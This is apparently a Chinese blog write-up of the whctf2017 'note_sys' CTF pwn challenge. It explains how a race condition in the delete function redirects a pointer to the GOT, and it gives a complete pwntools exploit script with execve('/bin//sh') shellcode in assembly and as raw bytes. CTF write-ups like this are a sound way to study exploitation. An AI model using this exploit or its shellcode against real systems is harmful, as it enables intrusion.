首页 > 其他分享 >whctf2017_note_sys

whctf2017_note_sys

时间:2022-12-24 13:55:31浏览次数:64  
标签:sys x31 xor shellcode x48 note whctf2017 rdi

whctf2017_note_sys

最近太颓废了,zikh师傅上南京参加比赛了恭喜获得第五名,我太菜了,只能膜拜大佬。><,在学习一下vm pwn吧,正好zikh师傅写的一篇

保护

image-20221224133054225

漏洞利用

主要就是利用删除,添加功能是在子进程中进行,并且都对一个地址进行操作,并且在删除功能中有一个2秒的休眠,可以打一个条件竞争。

image-20221224133502127

image-20221224133532034

也就是说在2秒内执行到一定次数的delete可以控制0x202080存放的地址0x2020c0指向got表,在执行一个new就可以修改got

free的got地址是 0x202018 所以说次数就是(0x2020c0-0x202018-8)/8=22

那个shellcode不知道怎么的zikh师傅的函数库中的不可以用,我说他怎么有手写了一下

from tools import *
context.log_level='debug'
p=remote('node4.buuoj.cn',27040)
shellcode=shellcode_store('shell_64')
def delete():
    p.sendlineafter('choice:','2')
def new(contetx):
    p.sendlineafter('choice:','0')
    p.sendlineafter('input your note, no more than 250 characters',contetx)


for i in range(22):
    delete()
"""
    xor rax,rax
    push 0x3b
    pop rax
    xor rdi,rdi
    mov rdi ,0x68732f2f6e69622f
    xor rsi,rsi
    push rsi
    push rdi
    push rsp
    pop rdi
    xor rdx,rdx
    syscall
"""
shellcode=b"\x48\x31\xC0\x6A\x3B\x58\x48\x31\xFF\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x48\x31\xF6\x56\x57\x54\x5F\x48\x31\xD2\x0F\x05"
new(shellcode)
p.interactive()

参考

whctf2017 pwn题wp | ZIKH26's Blog

标签:sys,x31,xor,shellcode,x48,note,whctf2017,rdi
From: https://www.cnblogs.com/trunk/p/17002817.html

相关文章